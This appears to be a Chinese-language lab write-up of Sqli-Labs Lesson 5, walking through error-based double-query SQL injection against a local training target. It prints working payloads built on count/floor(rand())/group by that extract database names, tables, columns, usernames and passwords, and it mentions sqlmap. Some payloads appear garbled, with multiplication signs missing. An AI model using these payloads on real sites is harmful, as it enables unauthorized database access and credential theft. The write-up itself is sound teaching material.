Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String

Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。

项目地址:https://github.com/Audi-1/sqli-labs

Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第1张图片
SQL注入

Lesson-5 #GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
运行测试环境:http://localhost/sqli-labs-master/Less-5/
输入ID参数1:http://localhost/sqli-labs-master/Less-4/?id=1 ,返回正常:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第2张图片
?id=1
在参数中尝试插入单引号,网站报错:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第3张图片
单引号网站报错
测试and 1=1 ,并注释后面的SQL语句,网站返回正常:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第4张图片
and 1=1 --+
测试and 1=2 ,并注释后面的SQL语句,网站返回不正常:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第5张图片
and 1=2 --+
说明存在注入,继续测试:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第6张图片
order by =3
order by 3返回正常,order by 4返回错误,说明所在表中有三列。
前4Lesson都是通过闭合SQL语句从而注入,但是现在闭合正确只会显示“You are in.......”,尝试数据库报错来取得想要的数据==:
基于错误的SQL语句的关键函数(构造能够导致逻辑错误的SQL语句):

-count():用于统计元组的数量
-rand():用于产生一个0~1的随机数字
-floor():向下取整
-group by:根据要求对结果排序
-EXTRACTVALUE (XML_document, XPath_string):从目标XML中返回包含所查询值的字符串
  XML_document:是String格式,为XML文档对象的名称
  XPath_string :Xpath格式的字符串
-UPDATEXML (XML_document, XPath_string, new_value):改变文档中符合条件的节点的值
  XML_document:是String格式,为XML文档对象的名称
  XPath_string :Xpath格式的字符串
  new_value:String格式,替换查找到的符合条件的数据

通过order by 来查询:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第7张图片
order by
继续用union select 来查询:
没有查到有用的信息,我们再尝试用网站报错的形式查询当前所在数据库:

http://localhost/sqli-labs-master/Less-5/

?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第8张图片
报错查询当前数据库
查询当前数据库版本:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第9张图片
报错查询当前数据库版本
information_schema.tables里面查看当前数据库里面的的第一个表:

http://localhost/sqli-labs-master/Less-5/
?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第10张图片
查看当前数据库里面的的第一个表
发现当前数据库中有users表,查看表里面有哪些列:

http://localhost/sqli-labs-master/Less-5/
?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第11张图片
当前数据库中user表
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第12张图片
user表第一列
查询user表中的字段username:

http://localhost/sqli-labs-master/Less-5/?id=1'
and (select 1 from ( select count(),concat(0x3a,0x3a,(select username from users limit 1,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第13张图片
查询user表中的字段username
查询user表中的字段password:
Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第14张图片
查询user表中的字段password

参考链接:https://bugs.mysql.com/bug.php?id=32249


利用注入神器sqlmap验证一下:

Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String_第15张图片
SQLMAP结果

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

你可能感兴趣的:(Sqli-Labs_Lesson_5 GET - Double Injection - Single Quotes - String)